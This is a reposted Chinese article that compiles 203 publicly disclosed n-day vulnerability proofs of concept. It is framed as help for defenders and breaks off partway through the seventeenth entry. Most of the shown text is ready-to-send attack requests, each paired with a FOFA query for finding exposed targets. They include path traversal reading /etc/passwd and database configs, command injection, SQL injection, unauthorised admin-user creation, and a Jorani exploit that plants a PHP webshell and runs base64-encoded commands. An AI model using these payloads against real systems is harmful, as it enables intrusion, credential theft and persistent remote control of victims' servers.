互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
$ l( N  I  }0 m5 h" q以下文章来源于网络安全新视界 ，作者网络安全新视界
8 k+ F" F5 K1 e( O
  s5 K$ _/ K' I8 v" f/ J: a% g发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

+ d+ n7 _' A$ a' V漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
7 N, m% N( c! w
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
: j: c% @: p( L0 m" a
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
. [% V7 J+ N2 q' W8 I+ g( W/ n
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

* G) e) H+ f, \
. r, M$ ?9 I. f- L声明
' Y1 y: d7 V7 n# _
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
5 Z8 w4 v8 n+ B+ j; y3 p% x
3 m6 ^7 e  M& ^9 B
2 O/ B* d# v$ L$ v0 s4 _7 y
目录
3 o0 G8 d1 P, ]3 @! R& t/ N9 {! b
01

1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
8 L$ H" [1 _$ C2 U& }2 n( v5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
, @+ y  x0 i) W! @# q  r" d8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
% G0 }. n# V* z1 s3 |# E14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
2 p: t7 ?$ U" w3 ]% u& V) g  W16. 红帆HFOffice医微云SQL注入
. O+ \& E& S; M+ y+ l17. 大华 DSS itcBulletin SQL 注入
. D4 T' T# d% v18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
  D5 M" H: ?% s$ O, r21. 大华ICC智能物联综合管理平台random远程代码执行
3 L& }$ E* v6 P" u" q22. 大华ICC智能物联综合管理平台 log4j远程代码执行
/ [; ^, `/ {! H9 f- _23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
! C" R: o/ T- Q* t5 i24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
- y+ c0 \' U0 G! V! G27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
$ ?( K  Q2 e' q: K32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
0 D- N0 _! a& a# T35. 用友NC-Cloud importhttpscer任意文件上传
# ^# E7 v( d4 U1 {0 l36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
$ r7 G3 y. @0 q* S* }( i! a3 H39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
& I, R: E& n$ L, w45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
& b  \+ k. C% P2 s3 U/ X48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
; L0 R5 ~0 V6 o* J! V0 g* f50. QDocs Smart School 6.4.1 filterRecords SQL注入
$ l$ V9 Y4 Y, H0 O) f. m" v51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
) p, A5 P  j+ j' n6 l. \1 @52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
( p" o+ Z: L4 b- o6 y3 C+ m57. 畅捷通T+ keyEdit.aspx SQL注入
' {, o! C+ b/ ?4 W0 M5 V) H. ?$ Q58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
8 u$ B* W" t! a+ {8 X60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
* t! K& w$ H" ^8 b62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
* A* d6 Q, Z$ H* h% k6 P4 R67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
4 o) T4 W  [1 [" e# k69. 万户 ezOFFICE contract_gd.jsp SQL注入
2 i. `( s9 z5 x70. 万户ezEIP success 命令执行
+ `$ _7 |3 v6 v! A+ N3 e71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
# {% _5 _  U( Y; y/ V73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
) m( j/ N7 m) q% U- q76. 新开普掌上校园服务管理平台service.action远程命令执行
* A1 e' N. v. d% @* @77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
# h  d( y+ N- D/ h. O* g) y80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
& c8 R0 I! P$ d& f4 `  p9 V82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
  V& z: ~1 L# _83. JeecgBoot testConnection 远程命令执行
7 p/ U) e; g* q* W5 U& E% B2 S84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
0 u! }, D: }2 A1 |, Z$ s0 e  E85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
6 u8 N9 I+ t: @0 S88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
0 ]9 b: B& H: ^; H; }  T90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
" M+ ]# l; H, K& M) }93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
% d0 l  m9 h( J* N7 A94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
, ^7 C# y! m4 Y) l99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
$ \) P# c8 Q0 [1 S101. ivanti policy secure-22.6命令注入
9 |* A) V( v/ z! |102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
3 g% h( n8 @. b- I. w" q! V103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
' U; o- [# D2 \7 z- f. u8 i7 u& S108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
$ \% g7 G& z$ }# S4 n' J110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
8 X2 t. N1 R( A8 @2 p) j8 ^112. WordPress Plugin NotificationX SQL 注入
, @( g9 G3 B: p1 O: j+ e4 `/ R113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
" Y3 D( g1 K2 h9 J1 O% c115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
. P' @  q, n( @- x# }6 @! W117. WordPress LayerSlider插件SQL注入
4 q; j: n( k' _- z0 m" Z% ^118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
: D8 F; }3 b5 Z  F, ^7 y- q119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
6 p0 ^$ f/ @7 r* A# B7 _) A123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
+ V+ a) H; w' R125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
# j, f: q2 Q. L: s5 i. B131. Mini-Tmall <=20231017 SQL注入
. k$ t. x) _* d132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
7 n) G$ O( s5 r* V0 p* \# q134. 网康NS-ASG应用安全网关index.php sql注入
1 @3 l+ r: ^0 L6 [. X135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
4 b6 o# t& ]2 e! h# S2 v136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
) E8 K, `/ }1 r' ~% o0 k139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
" e) C1 N/ U0 P( z  x+ X1 A142. CMSV6车辆监控平台系统中存在弱密码
: o" t0 P" O9 x0 p* l143. Netis WF2780 v2.1.40144 远程命令执行
  T3 m5 r/ v- n1 W+ q! j9 ?144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
! R( }3 Y4 z" X- s# s, p4 T9 M150. AJ-Report 1.4.0 认证绕过与远程代码执行
$ i1 Y5 C7 @& O: K0 z" K1 ?151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
: W( Z0 V4 X( ~5 i% Z) n) l154. 天维尔消防救援作战调度平台 SQL注入
, @" x5 {# S. v% ~! m1 \155. 六零导航页 file.php 任意文件上传
4 i4 c# ?: Z6 {; E2 e( [156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
+ [# I) e2 e$ E! @& q4 c159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
9 _# M# ^# F' g162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
; k* U# @; z* m" J3 q) }6 @163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
0 K3 C4 }1 k+ z2 j164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
) ]* k0 g. N5 c: W" L165. OrangeHRM 3.3.3 SQL 注入
" F1 a$ S) S9 }166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
0 o7 I- C9 C2 ]168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
* g" y7 q8 E- ~7 T# n173. Check Point 安全网关任意文件读取
* Z( y4 P3 T2 i5 I8 w: r# m5 D: C, ]174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
; N8 q$ g! f! q% ]177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
. H- @3 e; ^: D/ c181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
! |, o2 ~, R6 M184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
) A& G: B' O/ J$ U( {! h186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
8 y+ Q1 k5 g# @7 d: b0 z8 `188. 叁体-佳会视频会议 attachment 任意文件读取
2 r5 Z' E/ ~7 ~+ m8 L# H( {6 F189. 蓝网科技临床浏览系统 deleteStudy SQL注入
5 X6 f3 M. ?0 u/ y, ^- k6 i190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
- @) E! |8 n% r6 b. R194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
6 p# W' L+ Y% Y; C* X201. 方正全媒体新闻采编系统 binary SQL注入
. H' m2 Z& Q8 S# f0 r& l202. 微擎系统 AccountEdit任意文件上传
( C/ ]  O0 [9 Q- k1 ^0 s! i( b203. 红海云EHR PtFjk 文件上传
$ u: N4 D; r: W
POC列表

02

5 v7 H" ]5 P" k+ Y1. StarRocks MPP数据库未授权访问
6 `0 t% T' F) z2 B" B# K( c/ @FOFA ：title="StarRocks"
6 e8 P: \7 A" i; {GET /mem_tracker HTTP/1.1
0 q2 j) ~. I4 W% E' nHost: URL
8 g' X7 V/ O# L+ @

2. Casdoor系统static任意文件读取
  d( g3 n4 o. |" @FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' a: }5 [5 C* s& b1 ~. T& Z1 U  K, UConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
1 X* n+ t3 y  u3 A& E9 e

3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
" X% C) S% r1 RHost: xx.xx.xx.xx
4 u" M/ J3 ^! U& P5 C4 M+ Q

4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

4 u4 x9 ~% c& L# V  }9 R% u+ }9 a1 gpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
$ Y7 g6 T  N' b, yContent-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
. D0 k7 |9 W! {GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
1 L5 h: u, v# B0 b

6. 深信服 NGAF 任意文件读取
$ R: R& }" d% F) j4 EFOFA：title="SANGFOR | NGAF"
8 F" u: ?; D0 Y! t2 @& @; {GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
9 I) X  @  e  ?8 [2 c' K
2 Z) W+ ]5 {; n1 }7 m- A
+ D" T: _. M& g5 m) T! S7. 鸿运主动安全监控云平台任意文件下载
$ n/ I3 Z3 G& U4 z$ ]+ P. i  BFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
% ?8 K6 [( w$ O/ l* J8 g: t. UHost:
- e& R7 C4 v# ?8 e# B
; q: b1 i" X( j5 m1 h' U
1 d2 \' \, K) O: B, ?  O8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
) P0 e' c' d- z" V* ]/ oCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

. ]5 J  m2 X6 x% l( e5 W------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
/ O7 M$ [0 Y  C( Y
9 ]/ E0 ~( ]0 b4 Q# [* }3 \12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"


0 X- }! n' g, E) Q------WebKitFormBoundaryxbgjoytz--
  d6 M$ b, o1 H. h# f& k: `  @9 ?
: Q  m6 y  E2 c7 }0 M: D% T
5 o$ ^+ L# A" R3 O1 ~3 b9. 稻壳CMS keyword 未授权SQL注入
% g  f/ Y# }9 [% l$ U0 H. BFOFA：app="Doccms"
( f- B0 q* G) w! rGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
# B& P, F; g8 R2 X
7 z9 O/ e& |5 c& s; Z9 ]% i% y
1 l, a/ ^( I9 ]4 z% f$ Jpayload为下列语句的二次Url编码
5 A$ N) X& ^& H( C
2 w' k3 }5 i8 ~% ~4 y' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
  w  I# w2 _( w7 P& ?
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
6 ]$ N# x) U3 K( u1 o2 iFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
1 }) Q- q  R8 [1 BPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
2 e# O9 U. }5 f( g, lHost: x.x.x.x:xx
+ O) S& m6 A- O; P$ kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
' F. B4 u0 Y+ b& w; e0 o) s6 f- iAccept-Language: zh-CN,zh;q=0.9
1 v4 ^" a' e+ t+ T" @Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
& o2 i; J/ \/ B; ]# `9 {
; u2 ]7 T! X0 X* z------WebKitFormBoundaryxdgaqmqu
, y, |& C: Q+ Y; BContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
* Z, }4 a/ U3 j0 e
jmnqjfdsupxgfidopeixbgsxbf
- |/ r0 W& E+ f& u& }3 u/ d$ ~* R, ~------WebKitFormBoundaryxdgaqmqu--


8 v" O$ [8 _# w) N5 ]2 C11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
1 V1 c" X! w' fFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
% m/ {6 Y+ l8 n) a! r# LHost: 127.0.0.1
Pragma: no-cache
4 @; J4 i' V5 m) o% l& `% nCache-Control: no-cache
+ R: f/ A+ M& K6 TUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 B6 `/ f8 f$ n8 ]Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
3 C7 e3 S* d+ B0 H9 AConnection: close

  `3 \3 X& a( [; X
3 L! L3 u' R  |2 N' q; C12. Jorani < 1.0.2 远程命令执行
* t) o7 Z3 Y$ Z; [FOFA：title="Jorani"
第一步先拿到cookie
( M3 P& g, d9 _+ m: s- a0 iGET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
* q5 @7 Y/ n$ nConnection: close
Accept-Encoding: gzip
& x3 t) ]  J1 w  o. i

* @9 M. L9 U, I- D: F响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
9 M' y5 Z  W% W% ]Connection: close
Cache-Control: no-store, no-cache, must-revalidate
4 f: f9 O6 C6 {Content-Type: text/html; charset=UTF-8
- A# M5 E* e* Q! [2 R  s8 GDate: Tue, 24 Oct 2023 09:34:28 GMT
, ]' F- J) U# C& g+ _  SExpires: Thu, 19 Nov 1981 08:52:00 GMT
3 _7 o' J7 u5 C: C* d' x5 Z) j& p2 CLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
0 ]+ b) Q5 y/ @( J8 [2 H. q4 zPragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
8 y6 z0 d  c. w6 y& k
2 k. m/ x7 Y: t5 i
POST请求，执行函数并进行base64编码
( O' y) E! L- f3 \$ x! Z% P* N& dPOST /session/login HTTP/1.1
$ d8 Q% I3 a3 e5 P$ [Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
0 B8 H9 D* V' O$ l5 aConnection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
# e2 I0 X. s' {. v. hAccept-Encoding: gzip
) G( ~) a3 |: @: P# @. _
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

% v7 I0 l1 y+ i" e, ?8 r3 u- \

  O, Y/ q6 o9 ?8 J: o向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
$ H6 _# _. a2 w9 A  B5 Z8 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
$ v7 ]# ^! A6 K5 E5 c+ D5 U* l3 RCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
. Y/ p) U2 B+ B) XK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
1 _; H7 Z2 t5 @6 ]4 RAccept-Encoding: gzip
! c1 z  f- m6 n; c  H

13. 红帆iOffice ioFileDown任意文件读取
5 V( A9 l3 ^$ A( c+ D- u9 PFOFA：app="红帆-ioffice"
! K6 ]0 g1 c7 x* g. ~% ~: A' `GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
$ b2 S9 `  z# m* wUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
, w+ z! A, f! R$ P' l, i6 WConnection: close
% K0 Y, L: x% j) EAccept: */*
' Y# `3 A* m1 S, _: W/ {$ C# fAccept-Encoding: gzip


8 d* {0 u$ G: P+ b: y14. 华夏ERP（jshERP）敏感信息泄露
7 g1 b$ @! S3 b% y, mFOFA：body="jshERP-boot"
2 N2 ]& v5 ~- T6 n! U  G# T/ y泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
) O' C" _: |) D5 @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
. a/ u, Z' B' V. j% G; N! U% zAccept-Language: en
0 t. ?6 O7 X8 P3 W# D. f( @Accept-Encoding: gzip
# u. }: X+ U0 J

15. 华夏ERP getAllList信息泄露
CVE-2024-0490
9 z+ |; c& G; G) [0 h6 vFOFA：body="jshERP-boot"
; i  P" U7 L! V) A/ P( @! U+ t% o泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
1 E+ T  n% l, k8 c& G7 KHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
$ n) f$ J  a7 T4 ]) t% wAccept-Encoding: gzip
$ ?1 o) @  V8 C) C
, c/ f2 w3 O2 m2 r! _
16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
) S6 g, z- n" \GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
3 A3 Q) _' T6 U) G8 a+ o& \Accept-Language: en
Accept-Encoding: gzip
6 F2 D% E( T# `
7 }4 g" w3 |3 `' Q
; R+ e  g( G( u6 M+ g8 r17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
